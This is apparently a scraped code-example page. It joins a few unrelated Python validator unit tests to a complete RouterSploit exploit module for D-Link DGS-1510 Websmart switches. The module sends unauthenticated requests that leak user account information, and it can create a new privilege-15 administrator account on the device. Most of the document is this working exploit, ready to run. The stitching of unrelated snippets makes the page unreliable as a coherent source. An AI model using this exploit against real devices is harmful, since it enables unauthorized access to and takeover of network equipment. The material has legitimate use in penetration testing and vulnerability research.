Exemplo n.º 1
0
    def test_choice_3(self):
        valid_values = ["test1", "test2"]
        selected_value = "Test1"

        with self.assertRaises(OptionValidationError):
            validators.choice(valid_values)(selected_value)
Exemplo n.º 2
0
 def test_choice_1(self):
     valid_values = ["test1", "test2"]
     selected_value = "test1"
     self.assertEqual(validators.choice(valid_values)(selected_value), selected_value)
Exemplo n.º 3
0
 def test_choice_1(self):
     valid_values = ["test1", "test2"]
     selected_value = "test1"
     self.assertEqual(
         validators.choice(valid_values)(selected_value), selected_value)
Exemplo n.º 4
0
    def test_choice_3(self):
        valid_values = ["test1", "test2"]
        selected_value = "Test1"

        with self.assertRaises(OptionValidationError):
            validators.choice(valid_values)(selected_value)
class Exploit(exploits.Exploit):
    """
    D-Link DGS-1510-28XMP, DGS-1510-28X, DGS-1510-52X, DGS-1510-52,
    DGS-1510-28P, DGS-1510-28, and DGS-1510-20 Websmart devices with firmware
    before 1.31.B003 allow attackers to conduct Unauthenticated Information Disclosure
    attacks via unspecified vectors.
    """
    __info__ = {
        'name': 'D-Link DGS-1510 User Information Disclosure',
        'description': 'D-Link DGS-1510-28XMP, DGS-1510-28X, DGS-1510-52X, DGS-1510-52, DGS-1510-28P, DGS-1510-28 and DGS-1510-20 '
                       'Websmart devices with firmware before 1.31.B003 allow attackers to conduct Unauthenticated Information Disclosure '
                       'attacks via unspecified vectors.',
        'authors': [
            'Varang Amin',  # vulnerability discovery
            'Dino Causevic'  # routersploit module
        ],
        'references': [
            'https://www.exploit-db.com/exploits/41662/',
        ],
        'devices': [
            'D-Link DGS-1510-28XMP',
            'D-Link DGS-1510-28X',
            'D-Link DGS-1510-52X',
            'D-Link DGS-1510-52',
            'D-Link DGS-1510-28P',
            'D-Link DGS-1510-28',
            'D-Link DGS-1510-20'
        ],
    }

    information_disclosure_actions = {
        "user_info": {
            "url": "{}:{}/DataStore/990_user_account.js?index=0&pagesize=10",
            "headers": {
                "Connection": "keep-alive",
                "Accept": "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
                "X-Requested-With": "XMLHttpRequest",
                "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.59 Safari/537.36",
                "Referer": "{}:{}/www/login.html",
                "Accept-Encoding": "gzip, deflate, sdch",
                "Accept-Language": "en-US,en;q=0.8",
                "Cookie": "Language=en"
            }
        },
        "user_add": {
            "url": "{}:{}/form/User_Accounts_Apply",
            "body": "action=0&username={}&privilege=15&type=0&password={}",
            "headers": {
                "Connection": "keep-alive",
                "Cache-Control": "max-age=0",
                "Origin": "{}:{}/",
                "Upgrade-Insecure-Requests": "1",
                "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36",
                "Content-Type": "application/x-www-form-urlencoded",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
                "Referer": "{}:{}/www/login.html",
                "Accept-Encoding": "gzip, deflate",
                "Accept-Language": "en-US,en;q=0.8"
            }
        }
    }
    target = exploits.Option('http://192.168.1.1', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
    action = exploits.Option('user_info',
                             'Information to retrieve like user information or adding new user. '
                             'Valid actions {}.'.format(information_disclosure_actions.keys()),
                             validators=validators.choice(information_disclosure_actions.keys()))
    port = exploits.Option(80, 'Target port')  # default port
    username = exploits.Option('dlinkuser', 'User to add in case that user_add option is used.')
    password = exploits.Option('dlinkpwd1234', 'Password for user in case that user_add option is used.')
    response_content = None

    def decompress(self, content, encoding):
        ret = content

        if encoding == 'gzip':
            ret = gzip.GzipFile(fileobj=StringIO(ret)).read()

        elif encoding == 'deflate':
            decompress = zlib.decompressobj(-zlib.MAX_WBITS)
            inflated = decompress.decompress(ret)
            inflated += decompress.flush()
            ret = inflated

        return ret.replace("\n", "")

    def parse_print(self, content):

        if self.action == "user_info":
            m_groups = re.match(r'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M)

            if m_groups and m_groups.groups > 2:
                print_table(("User Info", ), (m_groups.group(2), ))
            else:
                # Print something, in case that formats vary over models
                # maybe regex will not work and we don't want to leave
                # users without information
                print_table(("User Info", ), (content, ))

        elif self.action == "user_add":
            print_success("User {} with password {} created.".format(self.username, self.password))

    def validate_response(self, content):
        validate_regex = None

        if not content:
            return False

        if self.action == "user_info":
            validate_regex = re.match(r'(.*)(UserInfo|user_count|var(.*))(.*);', content, re.I | re.M)

            return True if validate_regex else False

        elif self.action == "user_add":
            self.action = "user_info"
            check = self.check()
            self.action = "user_add"

            return check and self.username in self.response_content

        return False

    def run(self):

        if self.check():
            print_success("Target appears to be vulnerable")
            self.parse_print(self.response_content)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    @mute
    def check(self):
        body = None
        response = None

        url = self.information_disclosure_actions[self.action]['url'].format(self.target, self.port)
        headers = self.information_disclosure_actions[self.action]['headers']
        headers['Referer'] = headers['Referer'].format(self.target, self.port)

        if self.action == "user_add":
            headers['Origin'] = headers['Origin'].format(self.target, self.port)
            body = self.information_disclosure_actions[self.action]['body'].format(self.username, self.password)
            response = http_request(method="POST", url=url, headers=headers, data=body)

        elif self.action == "user_info":
            response = http_request(method="GET", url=url, headers=headers)

        if response is not None and response.status_code == 200:
            self.response_content = self.decompress(response.content,
                                                    response.headers.get('content-encoding', None))
            return self.validate_response(self.response_content)  # target is vulnerable

        return False  # target is not vulnerable